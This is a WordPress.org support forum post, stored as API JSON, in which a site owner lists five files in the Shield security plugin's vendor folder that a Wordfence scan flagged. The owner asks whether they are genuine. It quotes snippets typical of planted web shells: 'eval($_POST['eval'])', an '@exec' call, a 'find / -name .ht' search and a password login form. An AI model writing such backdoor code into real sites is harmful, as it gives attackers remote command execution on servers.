I’m scanning all my sites with Wordfence because Shield didn’t pick up on a hack on one site, so I’m now going through all my sites with Wordfence. It has flagged 5 potential problems in the wp-content\/plugins\/wp-simple-firewall path, which are:
\nwp-content\/plugins\/wp-simple-firewall\/src\/lib\/vendor\/twig\/twig\/lib\/Twig\/Extension\/feed.php
\nThe matched text in this file is: find \/ -type f -name .ht<\/p>\n
wp-content\/plugins\/wp-simple-firewall\/src\/lib\/vendor\/nesbot\/carbon\/src\/Carbon\/Lang\/cache.php
\nThe matched text in this file is: eval($_POST[‘eval’]);<\/p>\n
wp-content\/plugins\/wp-simple-firewall\/src\/lib\/vendor\/twig\/twig\/lib\/Twig\/Node\/Expression\/cron.php
\nThe matched text in this file is: function_exists(‘exec’)) {\\x0d\\x0a\\x09\\x09\\x09@exec($cfe, $res);<\/p>\n
wp-content\/plugins\/wp-simple-firewall\/src\/lib\/vendor\/twig\/twig\/src\/Node\/Expression\/Test\/ajax.php
\nThe matched text in this file is: <\/p>\n
<form method=post>Password: <input type=password name=pass><input type=submit value='>>'><\/form><\/pre>\nAre these legitimate Shield files? I’m not getting this on other sites with Shield.
\nThanks<\/p>\n","protected":false},"template":"","class_list":["post-11656091","topic","type-topic","status-publish","hentry"],"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/11656091","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic"}],"about":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/types\/topic"}],"version-history":[{"count":0,"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/11656091\/revisions"}],"wp:attachment":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/media?parent=11656091"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}